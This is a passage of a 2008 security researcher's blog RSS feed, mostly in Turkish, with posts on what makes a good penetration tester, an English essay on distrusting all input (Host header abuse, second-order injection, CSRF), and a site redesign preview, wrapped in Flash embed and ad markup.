name="MovieData" value=""&gt;&lt;param name="SeamlessTabbing" value="1"&gt;&lt;param name="Profile" value="0"&gt;&lt;param name="ProfileAddress" value=""&gt;&lt;param name="ProfilePort" value="0"&gt;&lt;param name="AllowNetworking" value="all"&gt;&lt;param name="AllowFullScreen" value="true"&gt; 	 	   &lt;embed src="http://www.gametrailers.com/remote_wrap.php?mid=36202" swliveconnect="true" name="gtembed" align="middle" allowscriptaccess="sameDomain" allowfullscreen="true" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="480" height="392"&gt;&lt;/embed&gt; &lt;/object&gt;&lt;/p&gt;  &lt;p&gt;&lt;object id="gtembed" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" height="392" width="480" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"&gt;&lt;param name="_cx" value="12700"&gt;&lt;param name="_cy" value="10372"&gt;&lt;param name="FlashVars" value=""&gt;&lt;param name="Movie" value="http://www.gametrailers.com/remote_wrap.php?mid=36197"&gt;&lt;param name="Src" value="http://www.gametrailers.com/remote_wrap.php?mid=36197"&gt;&lt;param name="WMode" value="Window"&gt;&lt;param name="Play" value="0"&gt;&lt;param name="Loop" value="-1"&gt;&lt;param name="Quality" value="High"&gt;&lt;param name="SAlign" value="LT"&gt;&lt;param name="Menu" value="-1"&gt;&lt;param name="Base" value=""&gt;&lt;param name="AllowScriptAccess" value="sameDomain"&gt;&lt;param name="Scale" value="NoScale"&gt;&lt;param name="DeviceFont" value="0"&gt;&lt;param name="EmbedMovie" value="0"&gt;&lt;param name="BGColor" value=""&gt;&lt;param name="SWRemote" value=""&gt;&lt;param name="MovieData" value=""&gt;&lt;param name="SeamlessTabbing" value="1"&gt;&lt;param name="Profile" value="0"&gt;&lt;param name="ProfileAddress" value=""&gt;&lt;param name="ProfilePort" value="0"&gt;&lt;param name="AllowNetworking" value="all"&gt;&lt;param name="AllowFullScreen" value="true"&gt; 	 	   &lt;embed src="http://www.gametrailers.com/remote_wrap.php?mid=36197" swliveconnect="true" name="gtembed" align="middle" allowscriptaccess="sameDomain" allowfullscreen="true" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="480" height="392"&gt;&lt;/embed&gt; &lt;/object&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/7PYd-Znl4LasK1e_rhQmcWEgw1I/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7PYd-Znl4LasK1e_rhQmcWEgw1I/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/7PYd-Znl4LasK1e_rhQmcWEgw1I/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7PYd-Znl4LasK1e_rhQmcWEgw1I/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=iVFDaUuF"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=mpAfyPWO"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=c3IjKPeu"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=gCqMKPct"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=gCqMKPct" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/o0wt9SmEE2M" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/fallout-3-oku/</guid>
  <comments>http://ferruh.mavituna.com/fallout-3-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/fallout-3-oku/</feedburner:origLink></item>
<item>
  <title>Takıntı...</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/6Uqop7pPebY/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Paz, 13 Tem 2008 01:26:29 +0300</pubDate>
  <description>&lt;p&gt;Neden başladığımı hatırlamıyorum ama artık bırakmak m&amp;#252;mk&amp;#252;n değil...&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/aaBq9BAXyBqiw0UZZcNLNbFX5yE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/aaBq9BAXyBqiw0UZZcNLNbFX5yE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/aaBq9BAXyBqiw0UZZcNLNbFX5yE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/aaBq9BAXyBqiw0UZZcNLNbFX5yE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=Z3B19YRk"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=5nZh9iYu"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=6MLTakHi"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=NaOcQCs0"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=NaOcQCs0" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/6Uqop7pPebY" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/takinti-oku/</guid>
  <comments>http://ferruh.mavituna.com/takinti-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/takinti-oku/</feedburner:origLink></item>
<item>
  <title><img src="/mg/icons/star.gif" alt="Süper Makale" class="abs" /> Penetration Tester Olmak</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/5l_pwKHVskQ/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cmt, 28 Haz 2008 10:59:36 +0300</pubDate>
  <description>&lt;p&gt;&lt;/p&gt;  &lt;p&gt;Daha &amp;#246;nceden pek &amp;#231;ok kişi zaten s&amp;#246;yledi g&amp;#252;venlik&amp;#231;i olmak sadece birka&amp;#231; teknik konuyu iyi bilmek ya da birka&amp;#231; kitap okumak değil daha &amp;#231;ok beynin nasıl &amp;#231;alıştığı, bir soruna nasıl yaklaşıldığı ve olaylara bakış a&amp;#231;ısı ile ilgili. Bunun yanında bir &amp;#231;ok başka meslekte de gerektiği gibi g&amp;#252;ndemi takip etme, odaklanma ve havadaki kokuları alabilme de gerekli meziyetlerden.&lt;/p&gt;  &lt;p&gt;Bir g&amp;#252;venlik uzmanının ya da daha spesifik olarak penetration tester&amp;#8217; ın bir dizi &amp;#246;zelliğe ihtiyacı var. Bu &amp;#246;zelliklerin bir kısmı teknik, ve teknik şeyler &amp;#246;ğrenilebilir ama bir kısmı da doğuştan gelen huylar ve muhtemelen ne yaparsanız yapın &amp;#246;ğrenemeyeceğiniz ya da ger&amp;#231;ekten &amp;#246;ğrenmesi seneler s&amp;#252;recek şeyler.&lt;/p&gt;  &lt;p&gt;Konuyu burada hemen &amp;#8220;&lt;i&gt;g&amp;#252;venlik&amp;#231;i oılunmaz, g&amp;#252;venlik&amp;#231;i doğulur(!)&lt;/i&gt;&amp;#8221; a bağlamak istemiyorum, &amp;#231;&amp;#252;nk&amp;#252; durum bu değil. İddialara g&amp;#246;re Mehmet Akif Ersoy demiş ki &amp;#8220;&lt;i&gt;Şiirin %5 ilham, %95 &amp;#231;alışmaktır&lt;/i&gt;&amp;#8221;. Ben de bu şekilde d&amp;#252;ş&amp;#252;n&amp;#252;yorum, dolayısıyla %5 + %95 e erişince Mehmet Akif Ersoy olunuyor.&lt;/p&gt;  &lt;p&gt;Yazacaklarımın bazıları ger&amp;#231;ekten &amp;#246;l&amp;#252;mc&amp;#252;l bazıları ise sadece işinizde daha iyi olmanızı sağlayacak şeyler.&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;G&amp;#252;venlik&amp;#231;i Olarak Yaşamak, G&amp;#252;venlik&amp;#231;i Olarak D&amp;#252;ş&amp;#252;nmek     &lt;ul&gt;       &lt;li&gt;Yapmak değil, yıkmak&lt;/li&gt;        &lt;li&gt;Kullanmak değil, Suistimal etmek&lt;/li&gt;     &lt;/ul&gt;   &lt;/li&gt;    &lt;li&gt;Derinlemesine Bilgi&lt;/li&gt;    &lt;li&gt;Paranoya&lt;/li&gt;    &lt;li&gt;Tutku&lt;/li&gt;    &lt;li&gt;İletişim Becerisi&lt;/li&gt;    &lt;li&gt;Okuma&lt;/li&gt; &lt;/ul&gt;  &lt;h4&gt;Penetration Testing, G&amp;#252;venlik Uzmanı ve Vulnerability Assessment&lt;/h4&gt;  &lt;p&gt;Yazının detaylarına ge&amp;#231;meden &amp;#246;nce bazı terimleri temiz şekilde ifade etmek gerekir.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Penetration Testing (Pen Test)     &lt;br /&gt;&lt;/b&gt;Bir sistemi dışarıdan genelde ekstra hi&amp;#231;bir ekstra bilgi sahibi olmadan g&amp;#252;venlik a&amp;#231;ıklarına karşı test etmek ve bu a&amp;#231;ıkları m&amp;#252;mk&amp;#252;n olduğu kadar exploit etmek.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Vulnerability Assessment (VA)&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;Aynı penetration testing gibidir ama a&amp;#231;ıklar exploit edilmez, burada dikkat edilmesi gereken bir nokta var ki Vulnerability Assessment daha &amp;#231;ok false positive verecektir ve a&amp;#231;ığın ger&amp;#231;ek etkisini ortaya koymayabilir.&lt;/p&gt;  &lt;p&gt;Mesela test edilen sistemdeki Buffer Overflow a&amp;#231;ığı olan bir SMTP server varsa ama karşıdaki sistem x64 ise ve bu a&amp;#231;ık x64 da ge&amp;#231;erli değilse Vulnerability Assessment bunu a&amp;#231;ık olarak direk kabul edecektir ama ger&amp;#231;ekte bu a&amp;#231;ık exploit edilemeyeceğinden direk bir risk taşımamaktır. Buna rağmen eski versiyon bir yazılım bulundurmak genelde iyi bir fikir olmadığından VA&amp;#8217; ın sonu&amp;#231;ları her şekilde işe yarayacaktır.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;G&amp;#252;venlik&amp;#231;i / G&amp;#252;venlik Uzmanı&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;G&amp;#252;venlik Uzmanı &amp;#231;ok geniş bir terim genelde şu iki anlamda kullanılır:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Bir sistemin g&amp;#252;venliğini sağlamadan sorumlu kişi. &lt;b&gt;&lt;/b&gt;&lt;/li&gt;    &lt;li&gt;G&amp;#252;venlik işini bilen kişi.&lt;b&gt;&lt;/b&gt;&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;İroniktir ki genelde g&amp;#252;venlik&amp;#231;ikler sistemleri korurlar Penetration Testerlar gibi saldırmazlar ama bu grubun ikisi de G&amp;#252;venlik&amp;#231;i, G&amp;#252;venlik M&amp;#252;hendisi, G&amp;#252;venlik Uzmanı diye ge&amp;#231;ebilir. &lt;/p&gt;  &lt;p&gt;Ek olarak bazı g&amp;#252;venlik&amp;#231;iler kendi sistemlerini test etmek i&amp;#231;in kendi i&amp;#231;lerinden kendi sistemlerine saldırganmış gibi de test edebilirler. Bu kişiler genelde iki rol&amp;#252;de &amp;#252;stlenmiş olurlar. Not d&amp;#252;şmek lazım bu aynı kendi programınızda &amp;#8220;bug&amp;#8221; aramak gibidir, yani muhtemelen iyi sonu&amp;#231;lar vermeyecektir. Yazılımın sahibi olarak yazılımın zaten doğru oldu varsayımı ile yola &amp;#231;ıktığınızdan genelde &amp;#246;n&amp;#252;n&amp;#252;zdeki sorunları bile g&amp;#246;remeyeceksinizdir. &lt;b&gt;&lt;/b&gt;&lt;/p&gt;  &lt;h4&gt;G&amp;#252;venlik&amp;#231;i Olarak D&amp;#252;ş&amp;#252;nmek&lt;/h4&gt;  &lt;p&gt;Polisiye filmlerdeki klasik muhabbetlerden biri &amp;#8220;profiling&amp;#8221; dir yani saldırganın profilini &amp;#231;ıkartabilmek. Buradaki en b&amp;#252;y&amp;#252;k klişe ise bir dedektifin saldırgan gibi d&amp;#252;ş&amp;#252;nmesidir. Ne kadar klişe olsa da bu ger&amp;#231;ekten saldırgana ulaşmanın en iyi yoludur ve g&amp;#252;venlik&amp;#231;i de aynı periyoddan &amp;#231;ok daha g&amp;#252;&amp;#231;l&amp;#252; şekilde ge&amp;#231;er. &lt;/p&gt;  &lt;p&gt;&amp;#199;&amp;#252;nk&amp;#252; bir polis ger&amp;#231;ekte saldırgana ulaşmak i&amp;#231;in kimseyi &amp;#246;ld&amp;#252;rmez ama g&amp;#252;venlik&amp;#231;i siteye girer, exploit eder, database&amp;#8217; i indirir, reverse shell&amp;#8217; ine erişir. Ger&amp;#231;ekten su&amp;#231;u işler, doruğa &amp;#231;ıkar ve iner. Bu gereksinim g&amp;#252;venlik&amp;#231;inin i&amp;#231;erisinde saldırgan kimliğinin bire bir yaşamasını sağlar.&lt;/p&gt;  &lt;p&gt;Bilinen bir ger&amp;#231;ek bir &amp;#231;ok b&amp;#252;y&amp;#252;k g&amp;#252;venlik firmasında &amp;#231;alışan kişilerin eski su&amp;#231;lu hackerlar olduğudur. &lt;/p&gt;  &lt;p&gt;&amp;#214;rnek isterseniz Kevin Mitnick&amp;#8217; in kendisi ya da eski @stake&amp;#8217; in L0pth Heavy Industries hacker grubunda gelen tayfası g&amp;#252;zel bir &amp;#246;rnek olacaktır. Bu &amp;#246;rneklerin yanında diğer bir &amp;#231;ok benzer g&amp;#252;venlik sekt&amp;#246;r&amp;#252;nde &amp;#231;alışan kişinin de karanlık bir mazisi vardır. Bu arada not d&amp;#252;şmek gerekir ki bu furya değişiyor, yazının ilerisinde ona değineceğim.&lt;/p&gt;  &lt;p&gt;O zaman g&amp;#252;venlik&amp;#231;i saldırgan gibi d&amp;#252;ş&amp;#252;nmelidir, Saldırganın motivasyonu nedir?&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;&lt;b&gt;Para,        &lt;br /&gt;&lt;/b&gt;Karşıdaki sistemi kırıp elde edeceği getiri (Kredi Kartı vs.)      &lt;br /&gt;&lt;/li&gt;    &lt;li&gt;&lt;b&gt;Şan / Ş&amp;#246;hret,        &lt;br /&gt;&lt;/b&gt;&lt;i&gt;Cyber Grafiti veya benzeri g&amp;#246;steriler, Saldırgan sistemi kırabildiğini t&amp;#252;m d&amp;#252;nyaya g&amp;#246;sterir       &lt;br /&gt;&lt;/i&gt;&lt;/li&gt;    &lt;li&gt;&lt;b&gt;Ego Tatmini,        &lt;br /&gt;&lt;/b&gt;&lt;i&gt;Saldırgan karşıdaki sistemi kırıp kendisinin sistemin geliştiricilerinden daha iyi olduğuna inandırır, ek olarak kırılamayanı kırmış yeni bir şey yapmıştır.       &lt;br /&gt;&lt;/i&gt;&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;i&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p&gt;Peki aynı durumda penetration tester ne yapmaktadır, onun motivasyonu nedir?&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;&lt;b&gt;Para,&lt;/b&gt;      &lt;br /&gt;Sistemi kırmak, kontrolleri ge&amp;#231;mek g&amp;#252;venlik&amp;#231;inin pozisyonun koruması ya da daha iyi bir tester olup daha &amp;#231;ok maaş alması demek.      &lt;br /&gt;&lt;/li&gt;    &lt;li&gt;&lt;b&gt;Şan / Ş&amp;#246;hret,        &lt;br /&gt;&lt;/b&gt;Konu ar-ge olunca durum tamamen aynıdır, g&amp;#252;venlik&amp;#231;i yayınladığı yeni bir bir makale, araştırma yazısı ile o &amp;#231;evrede &amp;#252;nlenecektir, aynı şekilde saldırının başarısı ile de firma ya da kendi i&amp;#231;erisinde bulunduğu grup i&amp;#231;erisinde &amp;#252;nlenecektir.      &lt;br /&gt;&lt;/li&gt;    &lt;li&gt;&lt;b&gt;Ego Tatmini,&lt;/b&gt;      &lt;br /&gt;G&amp;#252;venlik&amp;#231;i bu noktada saldırgan ile birebir aynı duyguları paylaşır.&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;G&amp;#246;r&amp;#252;ld&amp;#252;ğ&amp;#252; &amp;#252;zere g&amp;#252;venlik&amp;#231;i ile saldırgan tamamen aynı duygular i&amp;#231;erisindedir, dolayıyla penetration tester&amp;#8217; lar d&amp;#252;nyadaki saldırgan rol&amp;#252;n&amp;#252; direk olarak oynayan sayılı mesleklerin birini icra etmektedirler. &lt;/p&gt;  &lt;p&gt;&lt;em&gt;Yazının devamı gelecek inşallah, orada biraz daha psikolojik farklılıklara, daha verimli olmak i&amp;#231;in yapılması gerekenlere ve en sonra olarakta kendinizi bu alanda nasıl geliştirebilirsinize ve Derinlemesine Bilgi, Paranoya, Tutku, İletişim Becerisi, Okuma konularına değinmeye &amp;#231;alışacağım.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/o0D3lghZIwWAyFC1LSdFoJzGqRU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/o0D3lghZIwWAyFC1LSdFoJzGqRU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/o0D3lghZIwWAyFC1LSdFoJzGqRU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/o0D3lghZIwWAyFC1LSdFoJzGqRU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=SUr237Qg"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=COrDczdV"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=6dl5l9bz"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=fBrI7PJx"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=fBrI7PJx" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/5l_pwKHVskQ" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/penetration-tester-olmak-oku/</guid>
  <comments>http://ferruh.mavituna.com/penetration-tester-olmak-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/penetration-tester-olmak-oku/</feedburner:origLink></item>
<item>
  <title><img src="/mg/icons/star.gif" alt="Süper Makale" class="abs" /> Application Security and Redefining User Input</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/0v8pp5qPuYA/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Pzt, 23 Haz 2008 22:46:43 +0300</pubDate>
  <description>&lt;p&gt;One of the cardinal rules of the web application security is &amp;quot;Do not trust the user input&amp;quot; but it's loosely defined. We should've said &amp;quot;Do not trust &lt;b&gt;any&lt;/b&gt; input!&amp;quot;&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Which input is coming from the user?&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;Web applications are more complicated than they were. Now we have got office applications and shiny Web 2.0 stuff all over the web. Complexity comes with a price tag and lots of &lt;b&gt;hidden layers&lt;/b&gt;. &lt;/p&gt;  &lt;p&gt;   &lt;br /&gt;A perfect example of a hidden layer is the second order injections where the injection goes into a back-end storage, then directly pulled out from there and used in an SQL Query, printing out to the HTML without filtering or something similar. In this level developers believe that data was secure, because it was coming from a back-end, which was supposed to be secure. Guess what, it's not!&lt;/p&gt;  &lt;p&gt;The fact is you can't keep track of your inputs, your input can come from an API that you exposed to your users, an old form which is adding records your db etc.&lt;/p&gt;  &lt;p&gt;First defence would be centralising the input as much as possible, duplicated code is a big threat for security, but this is not enough. You need think &lt;b&gt;&lt;i&gt;&amp;quot;defence in depth&lt;/i&gt;&lt;/b&gt;&amp;quot; and you should not trust &lt;b&gt;any input&lt;/b&gt;. It can be coming from the functions of your programming language, your &lt;a href="http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf"&gt;database internal variables&lt;/a&gt; or from your web server, &lt;b&gt;Do not trust any input!&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;Recently a CSRF vulnerability &lt;a href="http://www.mcgrewsecurity.com/?p=102"&gt;spotted in twitter&lt;/a&gt;. Twitter has two post screens, one of them for mobile and one of them for normal web browsers. Even though they put a CSRF protection to the normal page, they forgot to put this to the mobile interface. A perfect example of how code duplication can hurt your application's security.&lt;/p&gt;  &lt;p&gt;About couple of months ago I was working on an application and observed that an ASPX file actually doing an HTTP request to itself and then it was printing the response in the page. First question was &amp;#8220;&lt;i&gt;How the script would know where is it running from? Which host? Which exact URL?&lt;/i&gt;&amp;#8221; &lt;/p&gt;  &lt;p&gt;The answer was quite obvious: &lt;a href="http://msdn.microsoft.com/en-us/library/system.web.httprequest.url.aspx"&gt;Request.Url&lt;/a&gt;, Follow up question was &amp;#8220;&lt;i&gt;How ASP.NET would figure out what's in the Request.Url&lt;/i&gt;?&amp;#8221;. The answer was: &amp;quot;&lt;b&gt;Host Header&lt;/b&gt;&amp;quot; of the request. Which means if the target application configured to response all requests for that IP address then you can change the host header to anything you want to accomplish following actions:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Using this system as a proxy to browse internal network by sending HTTP requests around,&lt;/li&gt;    &lt;li&gt;Abusing trust relationships in the internal network and in the very same computer, A perfect example of this accessing &lt;b&gt;ASP.NET error messages&lt;/b&gt; and &lt;a href="http://www.devx.com/dotnet/Article/32493/0/page/2"&gt;trace.axd&lt;/a&gt; file which are only available to local IP address by default.&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;It's quite common to see rookie developers blindly trusts HTTP Headers such as HTTP_REFERRER or Cookies, Thus you can carry out SQL Injection attacks, XSS attacks via these channels easily. Experienced developers or more security minded developers are not so naive and they know one can easily modify these. Still it's quite common to rely on system functions or server functions to be secure, because they are coming somewhere you trust, right?&lt;/p&gt;  &lt;p&gt;As shown in the previous example even the functions such as Request.Uri might be controlled by the attacker. Therefore you should not trust anything coming from anywhere... &lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/XMBskpjQlcnM-Vv4X1vjOV7Weic/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/XMBskpjQlcnM-Vv4X1vjOV7Weic/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/XMBskpjQlcnM-Vv4X1vjOV7Weic/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/XMBskpjQlcnM-Vv4X1vjOV7Weic/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=ULFDkAAE"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=NRMj0Bs1"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=8LKJa5IQ"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=neP1Iaz5"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=neP1Iaz5" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/0v8pp5qPuYA" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/application-security-and-redefining-user-input-oku/</guid>
  <comments>http://ferruh.mavituna.com/application-security-and-redefining-user-input-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/application-security-and-redefining-user-input-oku/</feedburner:origLink></item>
<item>
  <title>Yeni Tasarım - Ön Gösterim!</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/q3G3mQzbAms/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Paz, 22 Haz 2008 13:30:09 +0300</pubDate>
  <description>&lt;p&gt;İşte ingilizceden t&amp;#252;rk&amp;#231;eye kelimeleri hunharca &amp;#231;evirince b&amp;#246;yle 'kaydırma &amp;#231;ubuğu&amp;quot; ve &amp;quot;&amp;#246;n g&amp;#246;sterim&amp;quot; gibi tuhaf kelime guruplarına sahip oluyorsunuz. Neyse konumuza girelim;&lt;/p&gt;  &lt;p&gt;&lt;img  height="301" alt="CropperCapture[4]" src="http://ferruh.mavituna.com//blogs/upload/WindowsLiveWriter/YeniTasarmAlphaYayn_9A2B/CropperCapture%5B4%5D_1.png" width="344" align="right"  /&gt; Hatırlarsanız &lt;a href="http://ferruh.mavituna.com/reklamlar-oku/"&gt;reklamlardan&lt;/a&gt; ve &lt;a href="http://ferruh.mavituna.com/kucuk-aksiyonlar-oku/"&gt;k&amp;#252;&amp;#231;&amp;#252;k değişikliklerden&lt;/a&gt; bahsederken bu site i&amp;#231;in yeni bir tasarım &amp;#252;zerinde &amp;#231;alıştığımı belirtmiştim. Her zamanki gibi planladığımdan beş kat daha fazla s&amp;#252;rd&amp;#252; ama nihayet ilk g&amp;#246;sterim i&amp;#231;in hazır. Şimdilik g&amp;#252;ncel i&amp;#231;erik olmayan test yayını &lt;a href="http://v3beta.mavituna.com"&gt;http://v3beta.mavituna.com&lt;/a&gt; adresinde. &lt;/p&gt;  &lt;p&gt;Yeni tasarıma ge&amp;#231;mek sanırım bir iki ay daha s&amp;#252;recek. &lt;/p&gt;  &lt;p&gt;Bildiğim t&amp;#252;m sorunları &amp;#231;&amp;#246;zmeye &amp;#231;alıştım:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;En b&amp;#252;y&amp;#252;k değişiklik &lt;strong&gt;İngilizce&lt;/strong&gt; ve &lt;strong&gt;T&amp;#252;rk&amp;#231;e&lt;/strong&gt; sitelerin ayrılıyor olması. Yeni site tamamen T&amp;#252;rk&amp;#231;e olacak ve i&amp;#231;erisinde ingilizce yazı bulunmayacak, yeni bir subdomain geliyor &lt;strong&gt;english.mavituna.com&lt;/strong&gt; bu da ingilizce yazıların bulunacağı ve tamamen ingilizce olacak olan blog. İngilizce blogu adam gibi a&amp;#231;mak &amp;#231;ok uzun s&amp;#252;redir aklımdaydı ve bu aralar &amp;#246;zellikle bir &amp;#231;ok arkadaşım da ingilizce blogumu a&amp;#231;mamı istiyor. Genelde ingilizce - t&amp;#252;rk&amp;#231;e blog senkronize olmayacak, bunun ana nedeni &amp;#231;eviriye &amp;#252;şenmem. İngilizce bloglama ve neden bu kadar ge&amp;#231; kaldığım hakkında daha sonradan gene bir şeyler yazmaya &amp;#231;alışacağım. &amp;#214;zetle nihayte ingilizce - t&amp;#252;rk&amp;#231;e i&amp;#231;erik ve arabirim tamamen ayrı olacak.&lt;/li&gt;    &lt;li&gt;Maalesef &amp;#231;ok fazla Yorum Spam' i olduğundan dolayı spam' e karşı &lt;strong&gt;CAPTHCA&lt;/strong&gt; koydum. Ek olarak d&amp;#252;zenli kullanıcılara her zaman CAPTCHA &amp;#231;ıkmasın diye &amp;#231;&amp;#246;z&amp;#252;m getireceğim. Wordpress bu şekilde bir şeyler yapıyor,&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Trackback&lt;/strong&gt; desteği ekledim, ancak hen&amp;#252;z adam gibi test edilmedi. Bir de Trackback spam ile başedebilecekmiyiz bilmiyorum,&lt;/li&gt;    &lt;li&gt;Yeni bir &lt;a href="http://beta.mavituna.com/tags/"&gt;&amp;quot;Tag Cloud&amp;quot; - &amp;quot;Etiket Arşivi&amp;quot;&lt;/a&gt; ekledim, bayağı seksi bir şey,&lt;/li&gt;    &lt;li&gt;Ana sayfayı ikiye ayırdım, varsayılan olarak sadece &amp;quot;&lt;strong&gt;Teknik Makaleler&lt;/strong&gt;&amp;quot; listeleniyor, diğer t&amp;#252;m makaleler i&amp;#231;in 